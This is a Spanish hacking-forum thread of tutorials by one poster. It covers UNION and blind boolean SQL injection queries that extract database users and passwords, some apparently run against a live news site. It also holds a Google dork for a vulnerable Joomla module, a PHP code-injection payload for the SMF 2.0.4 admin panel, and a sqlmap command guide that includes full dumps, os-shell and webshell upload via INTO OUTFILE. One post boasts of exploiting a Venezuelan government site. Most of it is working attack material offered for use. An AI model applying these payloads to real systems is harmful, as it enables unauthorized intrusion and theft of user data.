En information_schema se encuentra una tabla llamada "columns" en la que existe una columna con el nombre "column_name" la cúal contiene los nombres de las columnas que existen en todas las bases de datos. Para proceder a la extracción de los nombres de las columnas usaremos la siguiente consulta en la URL:

categoria.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0xusers -- -comentario

Y cómo lo pueden notar, lo que cambio fue el "table_name" el cúal lo reemplaze por "column_name" , information_schema.tables por columns el cúal es el nombre de la tabla "COLUMNS" en information_schema , y por último el "table_schema" por "table_name" , en dónde especifico el nombre de la tabla a la que extraeré las columnas, en este caso especifique la tabla "users". Luego ejecutamos la consulta en la URL y automáticamente nos empezara a lanzar todos los nombres de las columnas de la tabla currente.

5.- Extrayendo los registros

Para poder extraer los registros, reemplazaremos el group_concat() por concat(), el cúal extrae 16 mb (si no me equivoco) de datos. Seguidamente de los nombres de las columnas de una tabla currente, y al final usaremos from +el nombre de la tabla+ , Consulta en la url:

categoria.php?id=1 UNION SELECT 1,concat(id,0x7e,username,0x7e,password,0x7e,email),3,4,5,6,7,8,9 users -- -comentario

Y automáticamente se nos extraerán los registros de la tabla.

- Vídeo de muestra (es mío):



- Blind Boolean Based:

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:



Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

- Link del tutorial del segundo post (mío también): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y bueno, eso ha sido todo amigos! Espero les haya gustado. Vere si próximamente actualizo el post y coloco sobre Time based u Error based/double query. Y saludos y agradecimientos a mi amigo arthusu por algunas explicaciones que me ha dado ;).

Saludos, @M5f3r0.
#9

Se ha detectado una vulnerabilidad SQL Injection en los servidores web de Joomla, la cúal se encuentra en uno de los módulos, "com_fireboard". El nivel de peligrosidad es grave ya que compromete la información privada del servidor web en la base de datos.

El módulo vulnerable es "index.php?option=com_fireboard" , con el parámetro vulnerable "func fb_"

- Google Dork's:

inurl:"id=" & intext:"/com_fireboard/"

- Url vulnerable:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'[Vuln]

Y después de todo, joomla una vez más nos demuestra tener muy poca seguridad en sus servidores.

Saludos, @M5f3r0 .
#10
Buenas comunidad de Underc0de, en está ocasión les vengo a dar una explicación sobre una técnica que pertenece a la rama de la Inyección SQLi, en este caso, se llama "Blind SQLi Boolean Based".

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:



Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

Y bueno, eso ha sido todo, espero les haya gustado el tutorial y lo hayan logrado entender.

Saludos, M5f3r0.
#11
Muchas veces, al auditar un servidor web hacemos mucho esfuerzo por conseguir vulnerabilidades para lograr algún fin ético o no ético, para llegar a cumplir nuestro objetivo, pero existen dos herramientas un poco desconocidas las cuales son muy útiles al momento de auditar una página web, en Joomla y wordpress.

Dichas herramientas se encargan de automatizar el proceso de búsqueda de vulnerabilidades en un servidor tales como Inyección SQLi, XSS, LFI, entre otras. Entonces, estás herramientas tienen la posibilidad de ahorrarnos mucho tiempo en la auditoria, veremos cuales son a patir de ahora, Vamos a ello:

Wordpress:


Para la auditoria en un servidor web de wordpress, existe una herramienta llamada "WPscan" , la cúal fue desarrollada en ruby, esta herramienta tiene la misma útilidad que la próxima que explicaremos más adelante para Joomla, realizar un escaneo al sitio web con el fin de encontrar vulnerabilidades web, las cuales comúnmente se encuentran en los plugins/complementos del sitio.

Está herramienta pertenece a los módulos del Backtrack 5 r3, entonces si tenemos dicho OS abrimos la terminal y ejecutamos lo siguiente:

cd /pentest/web/wpscan

La cúal es la ruta en dónde se encuentra dicha herramienta. Y si no la tienen allí, solo especifiquen la ruta seguidamente del CD.

Entonces, para ejecutar la herramienta hacemos lo siguiente:

ruby wpscan.rb --url No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Aquí necesitamos ruby, pero ya viene instalado por defecto en el backtrack. Seguidamente de esto, automáticamente la herramienta empezara a auditar el sitio web de wordpress, reflejandonos todas sus respectivas vulnerabilidades.

Joomla:


Está herramienta a diferencia de la otra, fue desarrollada en perl, y se llama "Joomscan", también se encarga de auditar el servidor con el fin de la detección de vulnerabilidades web. Para ejecutar la herramienta, teclearemos lo siguiente en la terminal:

cd /pentest/web/joomscan

Seguidamente, ejecutamos lo siguiente:

perl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y automáticamente, nos empezara a reflejar las vulnerabilidades que se encuentra en el servidor web (si es que encuentra). Entonces, satisfactoriamente hemos logrado cumplir nuestro objetivo de auditar un servidor web de manera automátizada la cúal nos ahorra mucho tiempo de lo normal.

Espero les haya gustado.

Saludos, @M5f3r0 .
#12
Buenas comunidad de Underc0de, hoy estuve navegando por la net búscando algún bug o exploit para SMF 2.0.4 y así aprender algo nuevo ya que estaba aburrido jeje, y pues me tope con una vulnerabilidad de SMF 2.0.4 la cúal hablaba sobre la ejecución de un código PHP remoto en SMF 2.0.4 , entonces ópte por montar un foro SMF en el localhost para así testear dicha vulnerabilidad la cúal se encontraba en el panel de administración.

Para poder aprovecharse de está vulnerabilidad, es necesario tener la cuenta de un administrador para poder acceder a dicho panel de administración, ya que es dónde se encuentra dicha falla, abrimos la sección de Lenguajes > Editar lenguajes y luego damos click en cualquieras de los lenguajes que tengan instalado.

Y cómo observamos, nos saldrá una lista de inputs de textos , si tenemos un servidor de prueba para testear está vulnerabilidad, si vamos a la carpeta que contiene dichas rutas vayamos a Themes > default > languages y abrimos el archivo PHP llamado "index.spanish_latin-utf8" o "index.english" dependiendo del lenguaje que vayamos a modificar.

Observemos estás líneas las cuales son del lenguaje español (dónde hare el testeo):

Código: php
$txt['lang_locale'] = 'es_AR.utf8';
$txt['lang_dictionary'] = 'es';
$txt['lang_spelling'] = 'spanish';


son las líneas de los inputs, la llamada "lang_locale" es esa que pertenece a el input de texto que dice "es_AR.utf8" , ejemplo con una imágen:



Y "lang_dictionary" y "lang_spelling" pertenecen a las otras dos. Entonces, la manera de aprovecharnos de está falla sería ejecutando algún código PHP remoto, por ejemplo yo coloco phpinfo() , quedando así "\';phpinfo();//" , ya que SMF cuando intentamos añadir una comilla este nos inválida la inyección, pero este no filtra el "\" y haremos un bypasseo con la comilla quedando de la siguiente manera: \\';phpinfo();// , ahora lo ingresamos en uno de los inputs y veamos:



Y guardamos, y ¡Guala! se reinicia la página y nos muestra el phpinfo() , como se ve el código en el archivo:

Código: php
$txt['lang_locale'] = 'es_AR.utf8\\';phpinfo();//';
$txt['lang_dictionary'] = 'es';
$txt['lang_spelling'] = 'spanish';


Y satisfactoriamente, hemos logrado infiltrar un código php de manera remota.

Otra cosa, no solo podemos usar phpinfo() podemos usar otros códigos de PHP, es cuestión de conocer :).

Link de dónde me he leído sobre este tema: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#13
Hola comunidad de Underc0de, en está ocasión les traigo un vídeo de muestra en el que exploto una vulnerabilidad SQLi Union Based en una Gobernación de Venezuela, Espero les guste ;-).

- Vídeo:



Saludos y espero les guste.
#14
Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.

Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.

Explotación:

1.- El comando --url o -u

Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" o simplemente -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbs

2.- Comandos -p y --skip

Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -p "id" --dbs

Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -p "id" --skip --dbs

3.- Método POST

En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --dbs

4.- Comandos --prefix and --suffix

Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs

Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

Por ejemplo hacemos uso de una comilla simple '

5.- El comando --time-sec

Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs

6.- El comando --dbms

Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:

- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server


Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbms=mysql --dbs

7.- El comando --union-cols

Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --dbs

8.- El comando --technique

--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:

- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"

Como un ejemplo, podemos tomar lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="" --technique="U"

Extrayendo los datos:

Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.

1.- El comando --dbs

El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

2.- El comando --current-db

Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db

3.- Comandos --current-user y --users

Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user

4.- El comando -D

Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname

5.- El comando -T y --tables

Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables

Y el comando -T , especifica algún nombre de una tabla:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename

6.- El comando -C y --columns

Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna

7.- El comando --dump

Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump

8.- El comando --dump-format=

Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV

9.- El comando --dump-all

Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all

Brute Force Mode:

1.- Comando --common-tables

Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:

sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -D dbname --common-tables

2.- Comando --common-columns

A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:

sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -D dbname -T tbname --common-columns

Otros:

1.- El comando --os-shell

Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:

1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).

Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.

2.- El comando --sql-shell y --sql-query

Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.

SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD

Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).

O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:

"SELECT 'foo'"

3.- El comando --random-agent

Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs

4.- El comando --cookie

Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs

5.- El comando --threads

Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs

6.- El comando --privileges

Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --privileges

7.- El comando -b

Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b

8.- El comando -v

Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -v 3

9.- El comando -g

Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -g "inurl:index.php?id="

10.- Los comandos --level and --risk

Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  --dbms=mysql --level=5

Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  --dbms=mysql --level=5 --risk=3

11.- El comando --ignore-proxy

Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy

12.- El comando --keep-alive

Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive

Este no es compatible con el comando --proxy

13.- El comando --null-connection

Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection

Este comando no es compatible con --text-only

Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.

PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.

Saludos, M5f3r0 ;).
#15
